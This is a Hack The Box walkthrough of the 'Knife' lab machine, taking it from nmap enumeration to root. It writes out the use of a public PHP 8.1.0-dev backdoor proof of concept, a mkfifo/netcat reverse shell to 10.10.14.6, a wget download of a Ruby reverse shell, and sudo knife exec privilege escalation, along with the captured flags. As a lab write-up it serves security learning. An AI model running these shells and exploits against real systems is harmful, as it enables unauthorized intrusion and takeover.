Knife - Hack The Box

May 25, 2021

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[root:/git/htb/knife]# nmap -Pn -n –open -sCV 10.10.10.242 (master✱) Host discovery disabled (-Pn). All addresses will be marked ‘up’ and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 10:51 CEST Nmap scan report for 10.10.10.242 Host is up (0.044s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA) | 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA) |_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Emergent Medical Idea Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

DIRB: -

NIKTO:

Retrieved x-powered-by header: PHP/8.1.0-dev

By looking at the website there’s not much we can do. No links, no nothing really. Going back the the enum data it’s sparse, but from Nikto we find PHP version 8.1.0-dev - which sounds interesting.

Googling around I came across an article mentioning 8.1.0-dev was released with a backdoor, making all sites using it vulnerable. Download a PoC script and run it to get a shell, and grab user.txt.

[root:/git/htb/knife]# python3 backdoor_php8.1.0-dev.py (master✱) Enter the full host url: http://10.10.10.242

Interactive shell is opened on http://10.10.10.242 Can’t access tty; job crontol turned off. $ hostname && id knife uid=1000(james) gid=1000(james) groups=1000(james)

$ cat /home/james/user.txt 49e822672ec0b1f552fd10c37f815904

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The PoC-shell is limited so start by sending a new reverse shell;

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f

/bin/sh -i 2>&1

nc 10.10.14.6 4488 >/tmp/f

[root:/git/htb/knife]# nc -lvnp 4488 (master✱) listening on [any] 4488 … connect to [10.10.14.6] from (UNKNOWN) [10.10.10.242] 59996 /bin/sh: 0: can’t access tty; job control turned off $

Upgrade the shell.

As usual, start with ‘sudo -l’.

james@knife:/$ sudo -l Matching Defaults entries for james on knife: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

Running the command we get a lot of help output, including an interesting exec option. james@knife:/$ sudo /usr/bin/knife .. ** EXEC COMMANDS ** knife exec [SCRIPT] (options)

Looking at the knife binary we see that it’s ruby - so most likely a ruby script is the way to go here.

Upload a ruby reverse shell and execute it. Capture the shell and grab root.txt.

james@knife:/dev/shm$ wget http://10.10.14.6/rev.rb james@knife:/dev/shm$ chmod +x rev.rb james@knife:/dev/shm$ sudo /usr/bin/knife exec /dev/shm/rev.rb

[root:/git/htb/knife]# nc -lvnp 4499 (master✱) listening on [any] 4499 … connect to [10.10.14.6] from (UNKNOWN) [10.10.10.242] 44298 We are connected! root@knife:/dev/shm# id && hostname && cat /root/root.txt uid=0(root) gid=0(root) groups=0(root) knife 8a3f41cb35cd8ca41e684e209e051a6c

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PHP 8.1.0-dev backdoor: https://github.com/flast101/php-8.1.0-dev-backdoor-rce

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Knife - Hack The Box

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